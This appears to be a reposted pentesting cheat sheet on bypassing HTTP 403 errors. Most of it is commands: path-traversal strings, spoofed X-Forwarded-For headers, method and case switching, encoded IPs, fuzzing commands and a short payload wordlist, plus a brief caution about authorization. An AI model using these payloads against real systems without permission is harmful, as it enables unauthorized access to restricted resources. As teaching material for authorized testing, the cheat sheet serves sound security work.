How to Bypass

When encountering a 403 Forbidden error, it means the server understands your request but refuses to authorize it. Penetration testers and ethical hackers often need to bypass these restrictions to identify vulnerabilities. Below are methods to bypass 403 errors, along with practical commands and techniques.

Common Bypass Techniques

1. URL Manipulation

• Try adding `/..;/` or `/%2e%2e%2f` to the path.
• Example:

  curl http://example.com/admin/..;/ 
  

2. HTTP Header Spoofing

• Modify headers like `X-Forwarded-For` or Referer.
• Example:

  curl -H "X-Forwarded-For: 127.0.0.1" http://example.com/restricted 
  

3. HTTP Method Switching

• Change `GET` to POST, HEAD, or OPTIONS.
• Example:

  curl -X POST http://example.com/admin 
  

4. Case Sensitivity Bypass

• Try uppercase/lowercase variations (e.g., `ADMIN` vs. admin).
• Example:

  curl http://example.com/AdMiN 
  

5. Using Alternate IP Representations

• Replace IP with localhost, 0.0.0.0, or hex encoding.
• Example:

  curl http://0x7F000001/admin 
  

You Should Know:

Automating 403 Bypass with FFUF

ffuf -w /path/to/wordlist.txt -u http://example.com/FUZZ -mc 200 

403 Bypass with Burp Suite

1. Intercept the request.

2. Modify headers/path in Repeater.

3. Test different payloads.

Bypass via Nginx Misconfigurations

If the server uses Nginx, try:

curl http://example.com/%2fadmin/ 

403 Bypass Wordlist

Common payloads:

/..;/ 
/%2e%2e%2f/ 
/./admin/ 
/admin/../ 

Courses for Ethical Hackers:

1. Advanced Penetration Testing
2. Web App Security
3. Ethical Hacking Masterclass

What Undercode Say

403 bypass techniques are essential for security assessments, but always ensure proper authorization before testing. Below are additional Linux and Windows commands for security testing:

Linux Commands

 Check open ports 
netstat -tuln

Test HTTP methods 
nmap --script http-methods --script-args http-methods.url-path=/admin <target>

Enumerate directories 
dirb http://example.com /usr/share/wordlists/dirb/common.txt 

Windows Commands

 Check listening ports 
netstat -ano

Test web requests 
Invoke-WebRequest -Uri "http://example.com/admin" -Method OPTIONS 

WAF Bypass

 Use fragmented requests 
curl -H "Transfer-Encoding: chunked" -X POST http://example.com/admin 

Always document findings and report responsibly.

Expected Output:

A successful bypass should return a 200 OK instead of 403 Forbidden, granting access to restricted resources.

References:

Reported By: Zlatanh How – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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